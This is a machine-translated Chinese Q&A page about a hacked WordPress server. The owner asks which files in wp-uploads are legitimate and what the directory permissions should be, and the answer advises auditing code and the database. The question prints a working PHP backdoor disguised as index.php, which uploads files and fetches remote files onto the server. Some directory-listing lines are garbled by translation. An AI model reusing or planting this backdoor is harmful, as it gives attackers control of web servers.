服务器被黑客攻击:wp-上传目录的内容正确吗?

时间:2015-11-22 作者:port5432

我们的Wordpress服务器开始运行得非常慢,尽管服务器本身的负载非常低(<;1%)。

wp admin页面根本没有响应。

经过调查,发现该服务器遭到黑客攻击,并且充斥着色情文件。我们正在重建它,但没有备份。

wp uploads目录中似乎有很多这样的文件。除了2013、2014、2015等常用目录外,该目录中是否还应包含其他文件?

此目录的正确权限是什么,它当前是完全公开的。我猜是黑客干的:

drwxrwxrwx 20 root root 4096 Nov 21 12:14 uploads
有一些名为“可疑”的文件。这里发生了什么,他们被隔离了吗?

root@recover-wordpress:~/cleanup/wp-content/uploads# ls -l *suspected
-rw-r--r-- 1 www-data www-data  7593 Sep  7 04:34 0pmr7ai6l.php.suspected
-rw-r--r-- 1 www-data www-data 14304 Sep  6 15:48 3d9gr.php.suspected
-rw-r--r-- 1 www-data www-data   700 Oct 20 11:28 454354353.php.suspected
-rw-r--r-- 1 www-data www-data   510 Aug 26 16:50 NB82WOhjz.php.suspected
-rw-r--r-- 1 www-data www-data   510 Sep 11 14:25 SXEZOfZvicy.php.suspected
-rw-r--r-- 1 www-data www-data  3429 Sep  7 04:32 co1iq.php.suspected
-rw-r--r-- 1 www-data www-data 29936 Sep  6 15:49 cttpgw5y.php.suspected
-rw-r--r-- 1 www-data www-data  5406 Sep  5 05:11 dom1xbub.php.suspected
-rw-r--r-- 1 www-data www-data 19706 Sep  7 04:21 evwsroor.php.suspected
wp uploads目录中还有很多php文件。我注意到在一个新的Wordpress安装中,只有一个目录名为2015。不过,我们确实有几个插件。

例如,有一个名为index的文件。php,看起来很奇怪:

drwxrwxrwx 4根根4096年7月27日03:12浓咖啡

?
<?php
// Silence is golden.
if(isset($_GET[php4])) {echo \'<form action="" method="post"     enctype="multipart/form-data" name="silence" id="silence">\'; echo \'<input     type="file" name="file"><input name="golden" type="submit" id="golden"     value="Done"></form>\';
if( $_POST[\'golden\'] == "Done" ) {if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'+\'; } else { echo \'-\'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"]; $wpf=strrchr($file, \'/\'); $wpf=str_replace("/","",$wpf); $content=file_get_contents($file); $wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo \'<title></title>\';}
?>
我可以删除2015类型目录以外的所有内容吗?

还有其他建议吗?

1 个回复
最合适的回答,由SO网友:Mark Kaplun 整理而成

上传目录应该是公共的,或者Web服务器能够写入的任何其他设置,这在网站安全方面几乎没有什么区别。

您很可能有一个不安全的代码或不安全的服务器,如果不先解决这两个问题,重建站点就没有多大意义。

此外,您当前数据库中的内容不可信,因为它可能包含后门,因此在审核代码后,您还需要审核数据库内容。

相关推荐

How was my WP site hacked

我的网站,http://www.cancer-study.com, 已被黑客攻击,我无法登录到wp管理员。你能说一下它是如何被黑客入侵的吗?我能做些什么来修复损坏?我可以访问主机。